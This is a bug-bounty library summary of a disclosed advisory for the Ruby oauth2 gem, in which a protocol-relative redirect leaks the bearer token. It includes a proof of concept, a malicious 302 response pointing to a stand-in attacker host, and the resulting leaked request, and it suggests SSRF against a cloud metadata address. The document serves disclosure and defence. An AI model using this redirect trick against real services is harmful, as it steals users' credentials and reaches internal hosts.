# OAuth2::Client#request: Protocol-relative redirect Location overrides authority, leaking bearer Authorization to attacker host

oauth2 gem's redirect handler merges protocol-relative Location via URI#merge, replacing the authority and resending the bearer Authorization header to an attacker host.

- Payout: Research
- Severity: high
- Program: oauth2
- Found by: tonghuaroot
- Disclosed: 2026-07-28
- CVE: CVE-2026-54603
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-pp92-crg2-gfv9
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-pp92-crg2-gfv9
- Tags: area:oss domain:oss impact:data-leak impact:internal-access kind:research platform:ghsa sev:high tech:ruby technique:source-review vuln:info-disclosure vuln:open-redirect vuln:ssrf

**Target:** Ruby oauth2 gem OAuth2::Client#request redirect handling
**Root cause:** Client#request resolves the raw Location header with response.response.env.url.merge(location); RFC 3986 §5.2 treats a leading // as a network-path reference that replaces the base authority, and req_opts (including the Authorization header) is forwarded unchanged to the recursive request.
**Steps:**
1. Create client: `OAuth2::Client.new("client-id","client-secret", site: "http://idp.example.test")` and `OAuth2::AccessToken.new(client, "SECRET-BEARER-TOKEN")`.
2. Call `token.get("/userinfo")`; default token mode :header attaches `Authorization: Bearer SECRET-BEARER-TOKEN`.
3. IdP responds `HTTP/1.1 302 Found` with `Location: //attacker.example.test/leak`.
4. Client merges to `http://attacker.example.test/leak` and recursively re-requests with the same req_opts headers.
5. Attacker host receives `GET /leak` with `Authorization: Bearer SECRET-BEARER-TOKEN`.
**How found:** Code reading of the redirect branch in Client#request: noticed raw Location passed to URI#merge and that req_opts headers are reused verbatim on the recursive call; recognized RFC 3986 network-path reference semantics for `//` inputs.
**Exploitation:** Attacker influences a 30x Location from the IdP (open redirect, tenant-controlled issuer, or in-path header rewrite) to `//attacker/x`; the oauth2 client follows it on the next request, delivering the user's bearer token cross-origin with no second interaction, and can also target internal hosts like `//169.254.169.254/` for SSRF.
**Escalation:** Combined credential disclosure with SSRF: attacker-chosen host may be an internal address reachable by the app server, and the protocol-relative form bypasses naive scheme-based Location filters.
**Insight:** When auditing HTTP client redirect logic, check whether the Location is merged with URI#merge/urljoin without normalizing leading `//` — protocol-relative references silently swap the authority, and any credential headers carried in the same opts hash follow to the new host.

## Proof of concept (copied exactly from the original report)

**Minimal token.get reproduction against IdP**

```
require "oauth2"

client = OAuth2::Client.new(
  "client-id",
  "client-secret",
  site: "http://idp.example.test"
)

token = OAuth2::AccessToken.new(client, "SECRET-BEARER-TOKEN")
token.get("/userinfo")
```

**Malicious 302 protocol-relative Location response**

```
HTTP/1.1 302 Found
Location: //attacker.example.test/leak
Content-Length: 0
```

**Leaked bearer request to attacker host**

```
GET /leak HTTP/1.1
Host: attacker.example.test
Authorization: Bearer SECRET-BEARER-TOKEN
```

